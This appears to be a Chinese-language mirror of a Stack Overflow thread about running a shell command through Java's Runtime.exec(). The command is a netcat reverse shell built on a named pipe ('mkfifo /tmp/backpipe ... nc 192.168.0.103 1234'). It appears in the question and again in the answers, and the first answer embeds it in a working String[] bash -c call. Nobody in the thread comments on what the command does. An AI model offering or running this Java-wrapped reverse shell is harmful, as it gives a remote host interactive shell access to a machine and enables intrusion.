【问题标题】:java Runtime.getRuntime().exec() unable to run commandsjava Runtime.getRuntime().exec() 无法运行命令
【发布时间】:2017-01-03 12:22:01
【问题描述】:

我需要从 Runtime.getRuntime().exec() 内部运行以下命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

我应该以什么格式将它传递给我正在运行的具有以下行的 java 程序:

Process localProcess = Runtime.getRuntime().exec(myStr);

myStr 是上面我要执行的整个命令吗?

我已经尝试过的事情:

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

给我错误:

无法运行程序 "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory

如果我只是从终端运行命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

它像一个魅力一样运行,但不是通过 runtime.exec()。

【问题讨论】:

    标签: java linux bash runtime.exec


    【解决方案1】:

    尝试使用ProcessBuilder 而不是Runtime

    试试这个:

    Process p = new ProcessBuilder().command("bash","-c",cmd).start();
    

    cmd 是保存你的 shell 命令的变量。


    更新:

    String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
    Process p = Runtime.getRuntime().exec(cmd);
    

    【讨论】:

    • 有没有办法在不使用 ProcessBuilder 和使用 Runtime 本身的情况下做到这一点?
    • @geek_ji 使用Process p = Runtime.getRuntime().exec("bash -c " + cmd); 我认为它应该可以工作。我没有检查,因为我现在没有我的电脑。
    • @geek_ji 你用的是"bash -c"还是"bash -c "?没有空间就行不通。
    • 我使用了“bash -c rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe "
    • 这就是我现在的做法: String str4 = "\"\\bin\\bash -c \" + \"rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"";进程 localProcess = Runtime.getRuntime().exec(str4);我仍然得到同样的错误:
    【解决方案2】:

    下面是工作 Java 代码,它说明了调用 Runtime.getRuntime().exec() 的更多方面,例如等待进程完成以及捕获输出和错误流:

    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.BufferedReader;
    
    class Test {
        public static void dump(InputStream is) {
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
            String line;
    
            try {
                while ((line = reader.readLine()) != null) {
                    System.out.println(line);
                }
            } catch (Exception e) {
                System.out.println("read line threw exception");
            }
        }
        public static void run(String cmd) {
            try {
                    Process p = Runtime.getRuntime().exec(cmd);
                    p.waitFor();
                    int status = p.exitValue();
                    System.out.println("Program terminated with exit status " + status);
    
                    if (status != 0) {
                        dump(p.getErrorStream());
                    }
                    else {
                        dump(p.getInputStream());
                    }
                } catch (Exception e) {
                    System.out.println("Caught exception");
            }
        }
    };
    

    【讨论】: